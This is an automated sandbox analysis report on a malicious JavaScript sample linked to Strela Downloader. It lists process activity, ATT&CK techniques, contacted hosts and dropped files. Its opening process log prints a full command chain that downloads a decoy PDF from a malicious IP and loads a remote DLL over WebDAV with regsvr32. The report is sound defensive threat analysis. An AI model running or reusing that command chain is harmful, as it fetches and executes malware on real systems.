Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
13211101981378323787.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/D	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.2126100700.000001F730838000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3358388301.00000208A5000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2126298037.00000208A4DC0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/D	net.exe, 00000007.00000003.2125636478.000001F730869000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2126177220.000001F730869000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2125636478.000001F730869000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2124026306.000001F73088F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2126177220.000001F730869000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2126100700.000001F730838000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588676
Start date and time:	2025-01-11 04:03:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	13211101981378323787.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.219.243.226, 3.233.129.217, 52.6.155.20, 52.22.41.97, 172.64.41.3, 162.159.61.3, 2.23.242.162, 2.22.50.131, 2.22.50.144, 23.209.209.135, 2.16.168.107, 2.16.168.105, 2.23.197.184, 2.22.242.123, 2.22.242.11, 13.107.246.45, 20.12.23.50, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:04:49	API Interceptor	23x Sleep call for process: powershell.exe modified
22:04:52	API Interceptor	1x Sleep call for process: net.exe modified
22:04:53	API Interceptor	2x Sleep call for process: svchost.exe modified
22:05:05	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1460324287242413198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	72382724245064961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2322331617238881677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	652114013130199968.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306952654550782
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugR:gJjJGtpTq2yv1AuNZRY3diu8iBVqFv
MD5:	354347DEB456DBDBC74405A99018B257
SHA1:	BE5CFAF116B4C7D3327A42927872B428D0DF1AD7
SHA-256:	CCF10124AA0422F0BB200CCA91573435E3E7A82E0D6E2DAFBC3E318C2E45C00F
SHA-512:	44E970B74E2C41A89211A48858684C6447F4C2743714AC8A910B59E6FDDBB3C8360D7888322044A544ED31DA6B0B360EBB574A460769B4319E78FA8CC229671F
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0be34637, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585115728460897
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:5aza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	F685713931B34A498692EEF9D919BA1C
SHA1:	BBEE4AFADBD7B086ECA9722A7ADCCCE25A722296
SHA-256:	1D9FFDF31B923B45F1EDE2C680C5EAC66663C9A161A4984FEA9E76A81A41E911
SHA-512:	35DC95D37A1B916124908DBFCFBBDD56F5E42693228670517C9C02B392575F5DBD780DF6871EEBCFEB98C8CF5823D69FF81E69FBAAE42B76617E8397A6D72F88
Malicious:	false
Preview:	..F7... ...............X\...;...{......................0.z..........{..5....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................v.:(5....}...................Y.5....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07926829138754785
Encrypted:	false
SSDEEP:	3:N1KYenbYEkGuAJkhvekl1q/AllrekGltll/SPj:rKznsrxlIAJe3l
MD5:	83B55814C1D25AC5D525AD28DD8CD41E
SHA1:	C7EE99A1F5EA218BBE39CDE4C53CB306936566DB
SHA-256:	163D0F5F3D27F06B3A6D2769D529218E323612C48AE0F68891C2EDD2CD94056A
SHA-512:	8524C1C85C821079B1E3D37F09AF5C81071112F66C4D0A9620833D1DB62799F248282AEF66D3BF90D566444FC40A25069F344E0FDDFCCB75C915C44B770A6ADB
Malicious:	false
Preview:	`.s).....................................;...{..5....}.......{...............{.......{...XL......{....................Y.5....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.172886587022223
Encrypted:	false
SSDEEP:	6:iO4qX80Flyq2P92nKuAl9OmbnIFUtSqXWFWr1ZmwsqXWFW9RkwO92nKuAl9Ombjd:7a0jyv4HAahFUtHh/J9R5LHAaSJ
MD5:	CF0291B6D50B78A6673AEB4B6268D8B7
SHA1:	B2BFE73EFEEAA68F4EAD84AC81E8BBB778117774
SHA-256:	2A09F7CEA406A7E1DE867DCD13B7BBD3ADCEF4EA2E44AC4F534E7952EE27D601
SHA-512:	1D5A7FEB3D83FA77387223225852E238A3FFD3B839432D5870D0C2CFAFAD8B87D97EF4D2E6FF0715B3E1C44F857A096B1F165E2407F57B2FF061475EBF33879A
Malicious:	false
Preview:	2025/01/10-22:04:52.893 1930 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:04:52.895 1930 Recovering log #3.2025/01/10-22:04:52.895 1930 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.172886587022223
Encrypted:	false
SSDEEP:	6:iO4qX80Flyq2P92nKuAl9OmbnIFUtSqXWFWr1ZmwsqXWFW9RkwO92nKuAl9Ombjd:7a0jyv4HAahFUtHh/J9R5LHAaSJ
MD5:	CF0291B6D50B78A6673AEB4B6268D8B7
SHA1:	B2BFE73EFEEAA68F4EAD84AC81E8BBB778117774
SHA-256:	2A09F7CEA406A7E1DE867DCD13B7BBD3ADCEF4EA2E44AC4F534E7952EE27D601
SHA-512:	1D5A7FEB3D83FA77387223225852E238A3FFD3B839432D5870D0C2CFAFAD8B87D97EF4D2E6FF0715B3E1C44F857A096B1F165E2407F57B2FF061475EBF33879A
Malicious:	false
Preview:	2025/01/10-22:04:52.893 1930 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:04:52.895 1930 Recovering log #3.2025/01/10-22:04:52.895 1930 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.153597865743553
Encrypted:	false
SSDEEP:	6:iO4qXtVq2P92nKuAl9Ombzo2jMGIFUtSqX3gZmwsqXSIkwO92nKuAl9Ombzo2jM4:7dv4HAa8uFUt0/H5LHAa8RJ
MD5:	96F6EE668280C2BB6F0D1F04DC1D539F
SHA1:	BF2280C5F7D59F0F2033DE2D5DD99A9E36F70C9A
SHA-256:	CA3691AB40F9E28063C83ED98175E55CE2CAA3F37C9B0B860F875A2C3D1852E4
SHA-512:	B1FD749AF93206BF18E4A783664501DB6C1696F9F1CD3EC0EE46D60F103AAB1E2902551486776EC4C37330FABF0EE011ED452F6DB99208FB37958D49AC3640E7
Malicious:	false
Preview:	2025/01/10-22:04:52.974 1030 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:04:52.976 1030 Recovering log #3.2025/01/10-22:04:52.977 1030 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.153597865743553
Encrypted:	false
SSDEEP:	6:iO4qXtVq2P92nKuAl9Ombzo2jMGIFUtSqX3gZmwsqXSIkwO92nKuAl9Ombzo2jM4:7dv4HAa8uFUt0/H5LHAa8RJ
MD5:	96F6EE668280C2BB6F0D1F04DC1D539F
SHA1:	BF2280C5F7D59F0F2033DE2D5DD99A9E36F70C9A
SHA-256:	CA3691AB40F9E28063C83ED98175E55CE2CAA3F37C9B0B860F875A2C3D1852E4
SHA-512:	B1FD749AF93206BF18E4A783664501DB6C1696F9F1CD3EC0EE46D60F103AAB1E2902551486776EC4C37330FABF0EE011ED452F6DB99208FB37958D49AC3640E7
Malicious:	false
Preview:	2025/01/10-22:04:52.974 1030 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:04:52.976 1030 Recovering log #3.2025/01/10-22:04:52.977 1030 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\28ada42b-694f-46e1-adeb-9bfe6e4d91e6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.058041104563153
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrt2sBdOg2H3AAcaq3QYiubxnP7E4T3OF+:Y2sRdsUVdMHw3QYhbxP7nbI+
MD5:	6CDFFE37A67E397A0AB5F7713AC0471A
SHA1:	F4DD0F2E03E8A3A3D6AA795AEEF4E126F55821EC
SHA-256:	7ED62558BE6807D3B175D841851A5A288CD0C52566FA7959FFEA9BEB928119D0
SHA-512:	DBFF1EFC76538E68E7C4A25B79787F61F4CD1F6C855983AF7D2A9B35D92A257202D30C2CCCA6D66407A3082A31A2E0C4624B0D678902AE3B2A1DF0D7C5AB8454
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124705498950","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136199},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.058041104563153
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrt2sBdOg2H3AAcaq3QYiubxnP7E4T3OF+:Y2sRdsUVdMHw3QYhbxP7nbI+
MD5:	6CDFFE37A67E397A0AB5F7713AC0471A
SHA1:	F4DD0F2E03E8A3A3D6AA795AEEF4E126F55821EC
SHA-256:	7ED62558BE6807D3B175D841851A5A288CD0C52566FA7959FFEA9BEB928119D0
SHA-512:	DBFF1EFC76538E68E7C4A25B79787F61F4CD1F6C855983AF7D2A9B35D92A257202D30C2CCCA6D66407A3082A31A2E0C4624B0D678902AE3B2A1DF0D7C5AB8454
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124705498950","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136199},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.240861384947668
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUUbF2zNV:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLI
MD5:	6FB9C8EC1F8B7A492459A31B9E095E04
SHA1:	3BC5C9BA0568D5420FF4F3223BF3FE97D005A683
SHA-256:	A168590ACAC186F4B6777E8B5CF2C4925C3FB2FBC3877D147CEB16C3D08AE20F
SHA-512:	EA3D7302A8C8B642568D59E741DE0AC39A8F73EC5EF5AABB9FB6E9A326F31BEC23BD57401BE2E1443863672E460786384F2DABD1ECAEF07BDEA118800985A1E3
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.092401268110778
Encrypted:	false
SSDEEP:	6:iO4qXtHVq2P92nKuAl9OmbzNMxIFUtSqXjCgZmwsqXRIkwO92nKuAl9OmbzNMFLJ:771v4HAa8jFUtH/I5LHAa84J
MD5:	FE864A03ACD228252F906DEEA3DA976D
SHA1:	850D23AC64B7502C2C9E796AD0753DC2D0C9A1A1
SHA-256:	CE493819782A82646AEB86C9697970ED1C12B1ADBE9EF40CD755D4F7E064222F
SHA-512:	377D1954DE1A8F9FD96B47F00494B8012284BFF860CB5C508399B5BA58B1A352CF0724E4D09BF543073BD656D2120EDC1F20056254D6F3D94386AD31603E7D93
Malicious:	false
Preview:	2025/01/10-22:04:53.049 1030 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:04:53.051 1030 Recovering log #3.2025/01/10-22:04:53.052 1030 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.092401268110778
Encrypted:	false
SSDEEP:	6:iO4qXtHVq2P92nKuAl9OmbzNMxIFUtSqXjCgZmwsqXRIkwO92nKuAl9OmbzNMFLJ:771v4HAa8jFUtH/I5LHAa84J
MD5:	FE864A03ACD228252F906DEEA3DA976D
SHA1:	850D23AC64B7502C2C9E796AD0753DC2D0C9A1A1
SHA-256:	CE493819782A82646AEB86C9697970ED1C12B1ADBE9EF40CD755D4F7E064222F
SHA-512:	377D1954DE1A8F9FD96B47F00494B8012284BFF860CB5C508399B5BA58B1A352CF0724E4D09BF543073BD656D2120EDC1F20056254D6F3D94386AD31603E7D93
Malicious:	false
Preview:	2025/01/10-22:04:53.049 1030 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:04:53.051 1030 Recovering log #3.2025/01/10-22:04:53.052 1030 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
